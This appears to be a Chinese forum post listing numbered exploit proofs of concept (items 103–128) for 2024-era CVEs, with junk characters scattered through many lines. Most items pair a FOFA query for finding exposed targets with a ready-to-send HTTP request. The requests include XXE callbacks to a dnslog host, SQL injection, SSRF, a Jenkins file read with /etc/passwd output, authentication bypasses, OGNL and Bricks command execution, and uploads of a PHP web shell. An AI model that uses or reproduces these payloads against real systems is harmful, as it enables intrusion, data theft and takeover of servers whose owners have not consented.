' B: q: H  }! Y* ]& {7 oFOFA：body="welcome.cgi?p=logo"
/ J  S& v9 B' z4 t8 p3 ]POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
" m5 Z/ l- r7 h2 M3 @1 L& tUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
: n# x( Y; N/ B. g7 p, kContent-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
; W( e' [- O4 h- V- i$ N
% l9 y) |2 D) k) MSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
- K+ s; ?$ l1 d7 s: `- Y+ ^# F% _

其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
5 {8 c0 J2 {# a- h  G$ [1 @) w<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>


+ ^8 h) n  k5 N/ a104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
* E; B% ]! F! A! _+ Z* p2 k9 NCVE-2024-0569
FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
1 u8 i7 S- ~1 |8 `! w7 ^$ |X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
6 o7 ?* T$ S$ F/ NContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
9 a: c, l; Z* \Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
3 o5 a0 e1 j% y  r
{
"topicurl":"getSysStatusCfg",
"token":""
}
; @; L$ n6 }0 ~
. Q/ O6 a0 G5 g! q6 q! K105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
2 c; j4 c, H  Z+ thttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
6 Q  G6 E$ G+ K7 BFOFA：body="Saber 将不能正常工作"
% ]: p0 k9 p2 ]. F) vGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
; b. x. w7 }2 e- z; H% o0 y' QHost: your-ip
# ~( `/ T% }4 r' yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 @2 O3 U0 o3 T3 jBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
& [- Y6 Y, @* b# V/ Y4 NAccept-Language: zh-CN,zh;q=0.9
Connection: close

. g; K+ a/ x6 I$ G$ ?; o/ z: k
6 T, H4 ]5 A% Y6 q" P. z/ d: f/ e107. SpringBlade tenant/list SQL 注入
6 k+ R$ \' U* e; D9 e) v7 [6 U  QFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: t8 z* ^0 C% r+ _( U: h9 n  JBlade-Auth:替换为自己的
5 B9 o& r. H& f+ ]. {7 iConnection: close

9 |; W+ y, S# J1 G
( Z: `$ n# f# g) {) Y108. D-Tale 3.9.0 SSRF
CVE-2024-21642
  `6 e" o" _4 q- i% Y+ `FOFA："dtale/static/images/favicon.png"
6 i4 l- R# A6 GGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
5 R- o6 G! G. a" k! O8 {) lHost: your-ip
- Q2 B) A7 A3 q  l! dAccept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" c  j  O% r4 |' s( }1 rAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
- _9 k$ b6 D* `! e$ t8 k7 p( HConnection: close


8 n7 U3 a$ R/ r: x  N109. Jenkins CLI 任意文件读取
& t7 _( y" A2 MCVE-2024-23897
. s) L4 o; ]9 n; ^FOFA：header="X-Jenkins"
. h* y1 U/ k( o0 [POST /cli?remoting=false HTTP/1.1
, [- t. _+ j1 w3 U3 c# T9 N5 n3 nHost:
. g: ]0 q5 h( k: c/ i" l. h2 kContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
1 ]0 _: D/ P5 a5 K5 bConnection: keep-alive
' ^5 ]# O: T1 p8 p9 PContent-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
7 ]5 v( n+ P" dContent-Length: 0
/ l) d& k" e, Z. C1 v. h1 v
/ V" X4 L/ U+ a0 |2 n5 T5 O, M# S/ q, p" |
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
( b! ~! ]) ^; |; _  a[COMMAND]
7 q, s1 ?: I2 X$ O7 z: P& dLists all the available commands or a detailed description of single command.
2 G  l4 I) \# }9 ?, ~' Y0 q& d( q COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)

8 ~9 g$ V6 M- ~4 C
5 ]7 V, Q+ I. @5 s. `& C9 k# w! j) E  d110. Goanywhere MFT 未授权创建管理员
. y) K4 X  P+ m8 I1 o, J8 A& ?) Z3 J5 ACVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
  Z" {7 t* W& k- A# H3 c) o0 aGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
9 k% @& D% F# _5 Q& Q# B, S2 mHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
/ N) o0 }% b* k" Q( r7 ?  o% sAccept: */*
% h* \, ^& i' eAccept-Language: en
Accept-Encoding: gzip


) o% W' U. {; s* v111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
  a1 x  R% s5 V& [FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
! N% ~( K4 i8 t4 xHost: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
. b5 Y- {9 W. m" s* t. x1 o1 KAccept-Language: en
# I: w/ W  y1 |+ i  B! aAccept-Encoding: gzip
# O/ L* }, Y1 L( T7 n# W

4 t! I# S8 G6 C3 ?) {112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
- K! R! D! W% h. XFOFA：body="/wp-content/plugins/notificationx"
* C  q  Z- d4 n/ LPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
3 E+ K4 a, D3 }5 F9 JContent-Type: application/json

+ }: y, t6 M6 \, y  s{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
2 w$ H8 {. f4 M4 U  r3 A! c$ Q0 I  v

( |4 c: ?1 W2 {. K113. WordPress Automatic 插件任意文件下载和SSRF
/ Q3 a- f2 @0 ?6 C  yCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
8 u2 g1 }' R. J( I; E0 cGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
3 V9 D& C& t: v0 Q, B( ?# I  oUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
) ~& J3 E- T* C/ c& k4 YAccept-Language: en
, Q5 P$ W) c0 L8 I# ?0 zAccept-Encoding: gzip
8 S( }. y+ }# X6 G* S: L2 x

114. WordPress MasterStudy LMS插件 SQL注入
2 k( T% W' c, z. J7 w: \' w7 q& [' MFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
- o* ~8 q* ]7 L4 N5 |6 rGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
: K5 f$ [- @+ Q) @: V' vUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
0 g& t; ^1 y9 P. [& d& V- QConnection: close
) L# T% S8 u9 }+ A

6 x+ |. [; y" j115. WordPress Bricks Builder <= 1.9.6 RCE
. c0 i7 q% j$ ?7 s. a9 m- z6 B$ FCVE-2024-25600
. `4 T( W+ }( z$ m$ vFOFA: body="/wp-content/themes/bricks/"
* a; \3 [* V% o; |第一步，获取网站的nonce值
GET / HTTP/1.1
8 ]3 b, H3 f2 X1 FHost: x.x.x.x
6 _& D# o- r2 w2 lUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Accept-Encoding: gzip


第二步替换nonce值，执行命令
; N; H* d/ i0 SPOST /wp-json/bricks/v1/render_element HTTP/1.1
4 p. J9 y5 R2 ~  O; N* fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
& o! K$ d9 {, R4 ^+ B$ k9 B3 NConnection: close
Content-Length: 356
9 X) K- i( ?3 i, ?Content-Type: application/json
1 j) C9 m% l: FAccept-Encoding: gzip

{
+ @: [) d0 p2 {6 Q"postId": "1",
$ o$ X+ C# \$ g9 v; H  "nonce": "第一步获得的值",
% d% s( p% K: l! ]* m  "element": {
0 b. ^  a) m. m- r2 _' B1 t    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
* Z- C6 E. y% ^! u; k  }
}

+ @' _5 m: C9 J! Y: g/ J
  U: j3 G; C6 A: f+ c# `3 l. J- T9 W116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
- v) U. L% r/ f/ i5 N' [5 QContent-Type: multipart/form-data; boundary=--------767099171
% m0 }- W5 p/ dUser-Agent: Mozilla/5.0
5 ?5 [9 @" e- f0 x6 S4 ^3 ~0 W
8 G. o3 ^; o5 L2 p. S! _& c----------767099171
4 I! O$ `) `$ N0 `Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
7 z3 t8 m9 J4 H" k! d- i6 dContent-Disposition: form-data; name="form_request"
. c3 q" ~; T3 ]! T$ X+ Ejssupportticket
% a# R5 S, X2 F5 e7 y! S----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
+ Y( j: n% U8 WContent-Type: image/png
8 C5 R. e4 H4 Q* `) K2 W6 U----------767099171--
- U0 Z* J" K5 H% K

117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
# @. M! L; H; ~/ WHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
" B+ d! @5 w2 D) V/ OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 B5 j, Y; {  S2 VAccept-Encoding: gzip, deflate, br
4 _+ r& r& H: T0 C& S- |- ZConnection: close
* R- E0 b! ]& _' h+ tUpgrade-Insecure-Requests: 1


118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
2 z; U$ X. |) T, @* J! ~5 oCVE-2024-0939
FOFA：title="Smart管理平台"
7 o0 ]& a, G) W# s4 JPOST /Tool/uploadfile.php? HTTP/1.1
  ]' g5 r8 q% j+ iHost: 192.168.40.130:8443
& z' m" a4 y1 h5 h! HCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- v2 C# F/ L9 k  Z. _% jContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
5 S! M9 t. ?" R7 BContent-Length: 405
, L' h: p- E; Q9 S8 d+ [- V# AOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
3 ?5 X/ ?9 C9 ]) O3 S* {  HSec-Fetch-Site: same-origin
! c' K8 w  H5 h4 e7 FSec-Fetch-User: ?1
Te: trailers
Connection: close

6 k. z/ I' H9 t# _-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

  V' Q. a& y& X( J8 ?1 O; k1 c<?php
system($_POST["passwd"]);
# n# ]2 R7 N+ q- |  S/ c?>
' e2 c( t7 F. M; |& F0 Q1 ^0 A6 s3 M5 L-----------------------------13979701222747646634037182887
2 Z7 d6 D  |5 SContent-Disposition: form-data; name="txt_path"
* K! ]1 J/ N" u$ b. b/ W: a6 y
4 R0 l$ Z  }. n/home/src.php
' C& N- F4 J( s-----------------------------13979701222747646634037182887--
: W, ~' f7 N0 m% H

. \  F5 Q. h9 m+ n2 ~访问/home/src.php
9 q6 t: K0 Q! }8 @+ @, o8 c
119. 北京百绰智能S20后台sysmanageajax.php sql注入
3 n- Y2 n% _3 r4 ECVE-2024-1254
FOFA：title="Smart管理平台"
. M; j8 y* \7 ^! r先登录进入系统，默认账号密码为admin/admin
9 T) J' g. A. l" @POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
& u4 m' w1 a# @, O  }! iContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
/ i) R3 z( \% E" K7 MSec-Fetch-Dest: empty
+ F6 ^. b& R: `$ Z. TSec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
2 v% U( ~/ |" M, @( OX-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
! {' I% y+ y$ Q' _6 l* OTe: trailers
Connection: close
! o4 a$ p' U4 A1 O' U$ F/ s
src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
% R/ S: E. a* k. h

! Q1 y( D0 x6 t- E5 l* g0 h% D: R120. 北京百绰智能S40管理平台导入web.php任意文件上传
" _! a& x$ s; \8 Z+ G+ `! bCVE-2024-1253
) ~' `3 x- j3 l0 C5 |3 ?+ t7 gFOFA：title="Smart管理平台"
$ a( A3 C8 F, x* o* B3 BPOST /useratte/web.php? HTTP/1.1
' p. t$ X+ g( M. x9 t4 ~) C; lHost: ip:port
, _1 b9 a' r) I$ j" ^8 NCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
, k# B- h0 g2 M/ r+ V- W8 d/ sUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" C4 ~; B+ A2 y- _& _7 ~( {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* ^4 L6 v  C+ o% J& m) @" ^Accept-Encoding: gzip, deflate
% `6 @6 ^! _+ zContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
/ u* V% k, b* x+ D* x+ J$ |8 \& hContent-Length: 597
Origin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
! }$ D5 h4 y+ K$ b! X) {6 zUpgrade-Insecure-Requests: 1
. E6 G4 K! b: gSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
7 R/ Q- ~8 t* z9 Z7 s! q0 [Connection: close

7 X3 U0 X7 ]9 d. x4 O3 R-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
' @- k( G: k7 L8 mContent-Type: application/octet-stream
0 [+ v. ^1 J# a8 f# h- Q" D- V/ A
<?php phpinfo()?>
-----------------------------42328904123665875270630079328
8 `! G# U- y4 Z/ X6 M: c( T0 {Content-Disposition: form-data; name="id_type"

/ R# K% n- K: a: U' {8 l1
-----------------------------42328904123665875270630079328
* J% J7 G; M- NContent-Disposition: form-data; name="1_ck"
  Z* w4 a! v6 V
' K0 _7 G) A! {* R! E& M4 W1_radhttp
-----------------------------42328904123665875270630079328
- w8 u7 B/ l( _: z+ U1 V. @. q# w7 J$ _$ EContent-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328


文件路径/upload/2.php

% b; }$ Z8 L. L& K/ S- N: K121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
FOFA：title="Smart管理平台"
; k/ Q% y$ K5 ?! _3 qPOST /useratte/userattestation.php HTTP/1.1
+ @# f9 K0 c4 d. j0 K$ MHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
! T5 S' O& i0 e$ Z: g8 F/ OUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
5 ~( V; m9 N) CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# L8 y: m/ V8 X% u, CAccept-Encoding: gzip, deflate
8 L- U" H: n$ m3 ]$ ?1 S' fContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
; Y' I5 I4 Y% yContent-Length: 592
Origin: https://192.168.40.130:8443
0 n% p. g! s2 ~3 Y8 Q: J8 }Upgrade-Insecure-Requests: 1
* [4 t3 y7 G3 N' j6 ^2 ZSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

( d0 P9 ?' Z) `6 @, r6 H-----------------------------42328904123665875270630079328
& {0 M) w+ G# ?) w' J; V" WContent-Disposition: form-data; name="web_img"; filename="1.php"
- P4 f$ B; q) ]& S% ]% ZContent-Type: application/octet-stream
' I; B9 L! _: [% f* L
<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
& m9 e7 O( d. W/ a-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
6 O, |' c  j4 O+ V3 r
0 X+ s5 m! n5 a# Y) B/ V1_radhttp
( Y  f6 K$ K- ]/ \6 ]% K6 D: m& X-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
  [5 K- h5 z) E
set
-----------------------------42328904123665875270630079328

  d# `2 u4 ]$ k3 H& ]( Y' P! n
3 ^  h+ l9 q$ ~8 Z$ Wboot/web/upload/weblogo/1.php

! Q+ X( C1 W  ^, |, J" ~0 V7 l5 K122. 北京百绰智能s200管理平台/importexport.php sql注入
5 ~2 J/ ~$ E% {" l1 p/ @( WCVE-2024-27718FOFA：title="Smart管理平台"
9 d) v, d4 [: Y7 [7 F6 X其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
1 t1 \: j# @! y5 n7 f) PHost: x.x.x.x
  a: k* E* l. d& c# N4 yCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. m6 i6 r7 i- c3 V" fAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 q9 x$ J8 ]4 v* R9 i" D$ s3 DAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
9 h- @+ F5 Q0 y8 C# V, MSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
3 }' S, f2 k0 ^& ySec-Fetch-Site: none
* e2 J0 [2 H& A# ]- \Sec-Fetch-User: ?1
' I9 I! F+ a: H- LTe: trailers
" [& M6 _* \1 g$ ^9 B4 L4 h2 @; V, _4 eConnection: close


% G0 F! E! E7 m( i* O- d' p: \- c123. Atlassian Confluence 模板注入代码执行
9 L* y# D2 k) j$ h" |7 A4 nFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
( o4 O( x, @+ l3 [! XHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
8 f2 n% ~7 q- n; o) c* pAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
4 J- |) V  O$ i9 s; K/ ZConnection: close
3 C3 j- H8 i' B8 o, U2 u- r. E; ^0 IContent-Type: application/x-www-form-urlencoded

/ q0 {( V' G( c+ }* L5 _( {label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
( C: G0 W- I! j& f1 J' n* V( q% oHost: 192.168.40.130:8282
3 B0 M2 `! E& B, G& {( z# ~User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
, E$ J+ q. l; l- _: M4 n1 eContent-Length: 72
  c- ~$ o9 l  |5 E6 i% C( w8 W4 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
- y! g: Z) m$ ?% P8 w1 M: iAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
% n" I) U  \' x( _9 \' M- ~! P5 j
& |0 \+ w# B; ]1 HfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


/ E7 E# \, n' I7 v  v7 ~http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
6 ?1 }, ^* `& E- p' b! rCVE-2024-1709
8 f) n4 B: d' F! M) o4 `FOFA：icon_hash="-82958153"
( o8 T1 \. q/ D' L0 H3 bhttps://github.com/watchtowrlabs ... bypass-add-user-poc
, h. r5 s1 q9 A
5 u: }# Y( |6 Z% R* o
  `" }3 N) |8 I+ q+ e3 D使用方法
9 x7 Q& Q/ W6 e0 o0 T4 |7 |python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。
- W6 X& o' c9 t) D
" a" D& l, H. d0 V3 B126. Aiohttp 路径遍历
2 A0 R, j3 u, N5 E) W5 [% w9 DFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
5 I3 a! c9 O! N  j* \7 J9 ^  lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
- |+ Q1 M, b8 BAccept-Language: en
8 c& K% T6 w& {' AAccept-Encoding: gzip
/ i: ]+ L; f: W1 Z6 P9 f( D3 k

127. 广联达Linkworks DataExchange.ashx XXE
8 m5 [) E0 R$ m' x" ^  ^FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
2 v8 q% Q; t! ?) kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
- j* p6 q" p3 A8 s, Q4 L( s( ?' o  B( DConnection: close
1 V" @7 n! K0 ]' p- uContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
. l5 X% D4 [3 t) N/ A* Q# j) G+ I! iPurpose: prefetch
Sec-Purpose: prefetch;prerender

6 ^9 _$ G8 `. s7 N3 E------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
, J- ?" E; n! {
BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
7 @/ X2 X& I6 w. u' m3 @Content-Disposition: form-data;name="Params"
6 O* S8 O% _, e8 R4 G4 k& r+ n" sContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
1 o) y! t. y8 x2 j' W9 N<!DOCTYPE test [
, v' J  |6 O' q# n# g<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
( i, T6 L( P4 G5 s]
>
0 G  D# j4 g0 ~/ E% r. `8 [0 a- v<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
+ ]2 q9 F% Y2 a2 H  [4 d+ A

8 H  Z" O1 T: T5 B0 t( b
128. Adobe ColdFusion 反序列化
CVE-2023-38203
